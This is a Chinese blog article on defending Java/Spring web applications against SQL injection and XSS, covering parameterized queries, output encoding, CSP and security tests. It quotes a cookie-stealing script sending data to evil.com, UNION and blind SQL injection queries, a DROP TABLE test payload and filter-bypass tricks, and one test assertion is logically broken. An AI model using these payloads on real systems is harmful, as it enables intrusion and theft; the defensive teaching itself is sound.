【架构实战】SQL注入与XSS防御:常见Web漏洞的系统性修复

SQL注入与XSS防御:常见Web漏洞的系统性修复

一、一次注入,全库裸奔

2024年某高校教务系统被黑:攻击者用一条URL/api/student?id=1 OR 1=1,直接拖走全校3万学生的成绩单、身份证号、家庭住址。

事后代码审查发现,这条查询是这么写的:

java 复制代码
// 灾难级代码
String sql = "SELECT * FROM student WHERE id = " + request.getParameter("id");

没有预编译,没有参数化,没有校验------赤裸裸地把用户输入拼进SQL。

同样,某论坛被XSS攻击:用户昵称设为<script>document.location='http://evil.com/?c='+document.cookie</script>,所有访问该用户主页的人,Cookie被自动发送到攻击者服务器。

这两类漏洞占比:OWASP Top 10中,SQL注入排第3,XSS排第4。它们不是新问题,但每年仍在大量系统中出现。


二、SQL注入防御体系

2.1 SQL注入原理与分类

复制代码
【注入原理】
用户输入 → 直接拼入SQL → 改变SQL语义 → 执行攻击者构造的SQL

【分类】
┌─────────────────────────────────────┐
│          SQL注入类型                  │
├──────────────┬──────────────────────┤
│ 经典注入     │ UNION SELECT注入     │
│              │ 布尔盲注              │
│              │ 时间盲注              │
│              │ 报错注入              │
├──────────────┼──────────────────────┤
│ 高级注入     │ 二次注入              │
│              │ 堆叠查询              │
│              │ 编码绕过              │
│              │ WAF绕过               │
├──────────────┼──────────────────────┤
│ 特殊场景     │ ORM注入               │
│              │ 存储过程注入           │
│              │ NoSQL注入              │
└──────────────┴──────────────────────┘

经典注入示例

sql 复制代码
-- 正常查询
SELECT name, email FROM users WHERE id = 1

-- UNION注入:拼接额外查询
SELECT name, email FROM users WHERE id = 1 UNION SELECT password, secret FROM admin

-- 布尔盲注:通过条件判断逐步提取数据
SELECT name FROM users WHERE id = 1 AND (SELECT LENGTH(password) FROM admin WHERE username='root') > 8

-- 时间盲注:无回显时用延迟判断
SELECT name FROM users WHERE id = 1 AND IF(SUBSTRING(password,1,1)='a', SLEEP(5), 0)

2.2 预编译参数化------第一道防线

java 复制代码
// 正确做法:预编译 + 参数化
@Service
public class StudentService {

    @Autowired
    private JdbcTemplate jdbcTemplate;

    // 1. 使用PreparedStatement(最基本防御)
    public Student findById(String id) {
        String sql = "SELECT * FROM student WHERE id = ?";
        return jdbcTemplate.queryForObject(sql,
            new BeanPropertyRowMapper<>(Student.class), id);
    }

    // 2. 批量查询:同样参数化
    public List<Student> findByClass(String classId) {
        String sql = "SELECT * FROM student WHERE class_id = ? AND status = ?";
        return jdbcTemplate.query(sql,
            new BeanPropertyRowMapper<>(Student.class), classId, "ACTIVE");
    }

    // 3. 动态排序:不能直接参数化ORDER BY,需白名单校验
    public List<Student> listStudents(String orderBy, String direction) {
        // 白名单校验排序字段
        Set<String> allowedFields = Set.of("id", "name", "score", "created_at");
        Set<String> allowedDirs = Set.of("ASC", "DESC");

        if (!allowedFields.contains(orderBy)) {
            orderBy = "id";  // 默认值
        }
        if (!allowedDirs.contains(direction.toUpperCase())) {
            direction = "ASC";
        }

        String sql = String.format("SELECT * FROM student ORDER BY %s %s",
            orderBy, direction);
        return jdbcTemplate.query(sql, new BeanPropertyRowMapper<>(Student.class));
    }
}

2.3 MyBatis安全配置

xml 复制代码
<!-- MyBatis安全用法 -->
<!-- 1. 使用#{}而非${} -->
<select id="findById" resultType="Student">
    SELECT * FROM student WHERE id = #{id}    <!-- 预编译,安全 -->
</select>

<!-- 2. ${}的危险性------直接拼入SQL -->
<select id="findByColumn" resultType="Student">
    <!-- 错误示范 -->
    SELECT * FROM student ORDER BY ${column}  <!-- 直接拼接,可注入! -->
</select>

<!-- 3. 动态SQL安全用法 -->
<select id="search" resultType="Student">
    SELECT * FROM student
    <where>
        <if test="name != null">
            AND name LIKE CONCAT('%', #{name}, '%')   <!-- 参数化LIKE -->
        </if>
        <if test="minScore != null">
            AND score >= #{minScore}                   <!-- 参数化范围 -->
        </if>
    </where>
</select>

关键规则#{}用于参数值(预编译),${}用于SQL结构(列名/表名)------后者必须白名单校验。

2.4 ORM框架注入风险

java 复制代码
// JPA/Hibernate同样有注入风险
@Entity
public class Student { ... }

// 安全用法
@Query("SELECT s FROM Student s WHERE s.id = :id")  // 参数化
Student findById(@Param("id") String id);

// 危险用法
@Query("SELECT s FROM Student s WHERE s.classId = ?1 ORDER BY ?2")  // ?2注入
List<Student> findByClass(String classId, String orderBy);
// ORDER BY不能用参数化,需要白名单校验

// Spring Data JPA Specification(安全的动态查询)
public class StudentSpecs {
    public static Specification<Student> hasName(String name) {
        return (root, query, cb) ->
            cb.like(root.get("name"), "%" + name + "%");  // 自动参数化
    }
}

三、XSS防御体系

3.1 XSS原理与分类

复制代码
【XSS分类】
┌──────────────────────────────────────────┐
│           XSS攻击类型                     │
├───────────────┬─────────────────────────┤
│ 反射型XSS     │ 攻击代码在URL参数中      │
│               │ 服务器直接返回给浏览器    │
├───────────────┼─────────────────────────┤
│ 存储型XSS     │ 攻击代码存入数据库       │
│               │ 每次访问页面都会触发      │
├───────────────┼─────────────────────────┤
│ DOM型XSS      │ 纯前端漏洞              │
│               │ JS直接操作DOM导致        │
└───────────────┴─────────────────────────┘

存储型XSS危害最大:攻击代码持久化存储,每个访问者都会受害。

javascript 复制代码
// 反射型XSS示例
// URL: /search?q=<script>alert(document.cookie)</script>
// 服务器返回:搜索结果:<script>alert(document.cookie)</script>

// DOM型XSS示例
// URL: /page#<img src=x onerror=alert(1)>
// 前端JS:document.getElementById('content').innerHTML = location.hash

3.2 输出编码------XSS防御核心

防御原则 :不是阻止输入,而是安全输出。根据输出上下文选择不同的编码方式。

java 复制代码
// HTML上下文编码
public String encodeHtml(String input) {
    return input.replace("&", "&amp;")
                .replace("<", "&lt;")
                .replace(">", "&gt;")
                .replace("\"", "&quot;")
                .replace("'", "&#x27;");
}

// JavaScript上下文编码(更严格)
public String encodeJs(String input) {
    StringBuilder sb = new StringBuilder();
    for (char c : input.toCharArray()) {
        if (c < 0x20 || c > 0x7e || c == '"' || c == '\'' || c == '\\' || c == '<') {
            sb.append(String.format("\\x%02x", (int) c));
        } else {
            sb.append(c);
        }
    }
    return sb.toString();
}

// URL上下文编码
public String encodeUrl(String input) {
    return URLEncoder.encode(input, "UTF-8");
}

不同输出上下文的编码对照

输出位置 编码方式 示例
HTML标签间 HTML实体编码 <div>${encodeHtml(name)}</div>
HTML属性 HTML属性编码 <input value="${encodeHtml(val)}">
JavaScript JS编码 var name = "${encodeJs(name)}"
URL URL编码 <a href="/path?q=${encodeUrl(q)}">
CSS CSS编码 禁止直接插入用户输入到CSS

3.3 Spring Security XSS防护

java 复制代码
// Spring Security内置XSS防护配置
@Configuration
@EnableWebSecurity
public class SecurityConfig extends WebSecurityConfigurerAdapter {

    @Override
    protected void configure(HttpSecurity http) throws Exception {
        http
            // 1. XSS Header防护
            .headers()
                .contentSecurityPolicy("default-src 'self'; script-src 'self'; style-src 'self'")
                .and()
                .xssProtection()
                    .headerValue(XXssProtectionHeaderWriter.HeaderValue.ENABLED_MODE_BLOCK)
                .and()
            // 2. CORS配置(限制跨域来源)
            .cors()
                .configurationSource(corsConfigurationSource())
            .and()
            // 3. CSP(内容安全策略)
            .headers()
                .addHeaderWriter(new StaticHeadersWriter(
                    "Content-Security-Policy",
                    "default-src 'self'; " +
                    "script-src 'self' 'nonce-{nonce}'; " +
                    "object-src 'none'; " +
                    "frame-src 'none'"));
    }
}

// 输入过滤:全局XSS过滤器
@Component
public class XssFilter implements Filter {

    @Override
    public void doFilter(ServletRequest request, ServletResponse response,
            FilterChain chain) throws IOException, ServletException {
        chain.doFilter(new XssHttpServletRequestWrapper(
            (HttpServletRequest) request), response);
    }
}

// HttpServletRequest包装器:过滤所有参数
public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper {

    @Override
    public String getParameter(String name) {
        String value = super.getParameter(name);
        return value != null ? cleanXss(value) : null;
    }

    @Override
    public String[] getParameterValues(String name) {
        String[] values = super.getParameterValues(name);
        if (values == null) return null;
        return Arrays.stream(values).map(this::cleanXss).toArray(String[]::new);
    }

    private String cleanXss(String value) {
        // 移除危险标签
        value = value.replaceAll("<script.*?>.*?</script>", "");
        value = value.replaceAll("on\\w+\\s*=\\s*\".*?\"", "");
        value = value.replaceAll("javascript:", "");
        return value;
    }
}

3.4 前端XSS防护

javascript 复制代码
// React:默认对JSX中的变量做HTML编码
const name = userInput;  // 自动编码
return <div>{name}</div>;  // 安全,自动转义

// 危险操作:dangerouslySetInnerHTML
return <div dangerouslySetInnerHTML={{__html: rawHtml}} />;  // 危险!
// 使用前必须对rawHtml做XSS清洗

// DOMPurify清洗富文本
import DOMPurify from 'dompurify';
const cleanHtml = DOMPurify.sanitize(rawHtml);
return <div dangerouslySetInnerHTML={{__html: cleanHtml}} />;  // 安全

// Vue:v-html同样危险
<div v-html="rawHtml"></div>  // 危险!需要清洗
<div v-html="sanitize(rawHtml)"></div>  // 安全

// CSP nonce方案(最安全的动态脚本方式)
// 服务端生成nonce,注入到CSP header和script标签
const nonce = generateNonce();
// HTTP Header: Content-Security-Policy: script-src 'nonce-abc123'
// HTML: <script nonce="abc123">...</script>

四、系统性修复方案

4.1 安全编码规范

复制代码
【SQL注入防御规范】
1. 所有SQL查询必须使用预编译参数化(#{}或PreparedStatement)
2. 禁止${}拼接SQL结构(列名、表名、ORDER BY)
3. 动态SQL结构必须白名单校验
4. 禁止拼接用户输入到SQL

【XSS防御规范】
1. 所有用户输入输出前必须编码
2. 根据输出上下文选择正确的编码方式
3. 富文本必须使用白名单HTML清洗(DOMPurify/Sanitize)
4. 设置CSP Header限制脚本来源
5. Cookie设置HttpOnly和Secure标志

4.2 自动化代码审计

java 复制代码
// SonarQube + 自定义规则扫描SQL注入
// 扫描所有拼接SQL的代码

// 自定义规则:检测字符串拼接SQL
@Component
public class SqlInjectionDetectorRule extends AbstractJavaRule {

    @Override
    public void visitNode(Tree tree) {
        // 检测 String + request.getParameter() 模式
        if (isSqlConcatenation(tree)) {
            addIssue(tree, "SQL注入风险:禁止字符串拼接SQL,使用预编译参数化");
        }
    }
}

// 扫描配置
sonarqube_rules:
  - "SQL_CONCATENATION"      # SQL拼接检测
  - "MYBATIS_DOLLAR_SIGN"    # ${}使用检测
  - "XSS_UNSAFE_OUTPUT"      # XSS未编码输出检测
  - "DANGEROUSLY_SET_HTML"   # dangerouslySetInnerHTML检测

4.3 安全测试体系

java 复制代码
// 集成安全测试用例
@SpringBootTest
public class SecurityTestCase {

    @Autowired
    private StudentService studentService;

    // SQL注入测试
    @Test
    public void testSqlInjectionResistance() {
        // 常见注入payload
        String[] payloads = {
            "1 OR 1=1",
            "1; DROP TABLE student",
            "1 UNION SELECT password FROM admin",
            "1' AND '1'='1",
            "1/**/OR/**/1=1"
        };

        for (String payload : payloads) {
            // 注入payload应被预编译处理,不改变SQL语义
            Student result = studentService.findById(payload);
            // 应返回null或报错,而非返回所有数据
            assertNotNull(result == null || result.getId() == null);
        }
    }

    // XSS编码测试
    @Test
    public void testXssEncoding() {
        String xssPayload = "<script>alert(1)</script>";
        String encoded = xssEncoder.encodeHtml(xssPayload);

        assertFalse(encoded.contains("<script>"));
        assertTrue(encoded.contains("&lt;script&gt;"));
    }
}

五、防御对比与常见绕过

5.1 防御层次对比

防御层 SQL注入 XSS
代码层 预编译参数化 输出编码
框架层 ORM/JPA Spring Security Filter
WAF层 规则拦截注入特征 CSP + XSS Header
运行层 数据库权限最小化 HttpOnly + SameSite Cookie
审计层 SQL执行审计 输出内容审计

5.2 常见绕过手段与对策

SQL注入绕过

绕过方式 示例 对策
编码绕过 %27代替' 多层解码后检测
注释绕过 SEL/**/ECT 去除注释后检测
大小写混合 sElEcT 大小写规范化
等价函数 SUBSTR→MID→SUBSTRING 覆盖所有等价写法
宽字节 %bf%27 指定字符集编码

XSS绕过

绕过方式 示例 对策
标签变形 <ScRiPt> 大小写规范化
事件属性 <img onerror=alert(1)> 禁止所有on*事件
伪协议 <a href="javascript:alert(1)"> 禁止javascript协议
编码绕过 &#x3c;script&#x3e; 多层解码后检测
SVG/MathML <svg onload=alert(1)> 白名单HTML清洗

六、实战:从漏洞到修复的完整案例

6.1 漏洞代码

java 复制代码
// 某论坛系统的用户搜索功能------同时存在SQL注入和XSS
@Controller
public class ForumController {

    // SQL注入:直接拼接用户输入
    public List<User> searchUsers(String keyword) {
        String sql = "SELECT * FROM users WHERE nickname LIKE '%" + keyword + "%'";
        return jdbcTemplate.query(sql, new BeanPropertyRowMapper<>(User.class));
    }

    // XSS:直接输出用户昵称到HTML
    public String getUserProfile(String userId) {
        User user = userService.findById(userId);
        return "<div class='profile'><h2>" + user.getNickname() + "</h2></div>";
    }
}

6.2 修复代码

java 复制代码
@Controller
public class ForumController {

    // SQL注入修复:预编译参数化
    public List<User> searchUsers(String keyword) {
        String sql = "SELECT * FROM users WHERE nickname LIKE CONCAT('%', ?, '%')";
        return jdbcTemplate.query(sql,
            new BeanPropertyRowMapper<>(User.class), keyword);
    }

    // XSS修复:输出编码 + 模板引擎自动编码
    public String getUserProfile(String userId) {
        User user = userService.findById(userId);
        // 使用Thymeleaf模板,自动HTML编码
        return "profile";  // 渲染Thymeleaf模板
    }
}

// Thymeleaf模板(自动编码)
// <div class="profile"><h2 th:text="${user.nickname}"></h2></div>

七、总结

SQL注入和XSS是最常见也最容易被修复的Web漏洞------修复成本很低,但忽略的代价极高。

核心要点

  1. SQL注入防御:预编译参数化是唯一正确做法,白名单校验动态SQL结构
  2. XSS防御:根据输出上下文选择编码方式,富文本用白名单清洗,CSP作为兜底
  3. 系统性修复:安全编码规范 + 自动化审计 + 安全测试三层保障
  4. 防御纵深:代码层、框架层、WAF层、运行层、审计层多重防线
  5. 永不过时:这两类漏洞每年都在OWASP Top 10中,没有借口忽略

一句话总结:预编译治注入,编码治XSS,白名单治动态,纵深治绕过。


作者:架构实战团队

日期:2026-07-16

标签:#SQL注入 #XSS #Web安全 #预编译 #输出编码

相关推荐
天若有情6731 小时前
纯HTML+Tailwind单页作品集网站——零框架静态前端完整源码
前端·html
WebGirl1 小时前
H5唤起app前端实现方案
前端
G.O.G.O.G1 小时前
《LeetCode SQL 从入门到进阶(MySQL)》06(下)
数据库·sql·oracle
维基框架2 小时前
维基框架(Wiki-Framework) 1.2.0:Mybatis 升级为主从读写分离
java·后端·架构
Larcher2 小时前
从零实现一个可运行的 RAG - LangChain、内存向量库与检索增强生成
前端·javascript
在水一缸2 小时前
深度解析 GPT-5.6:大模型架构演进与复杂任务实战指南
大数据·人工智能·gpt·架构·大模型·架构演进·gpt-5.6
Henrii_历小海2 小时前
WhatsApp Business API 2026 计费架构重构:从“对话计费“到“按消息计费“的技术实现与工程应对
java·重构·架构
饼饼饼2 小时前
React 组件间传参好痛苦?试试这一套"优雅组合拳":Context 与 Refs 实战
前端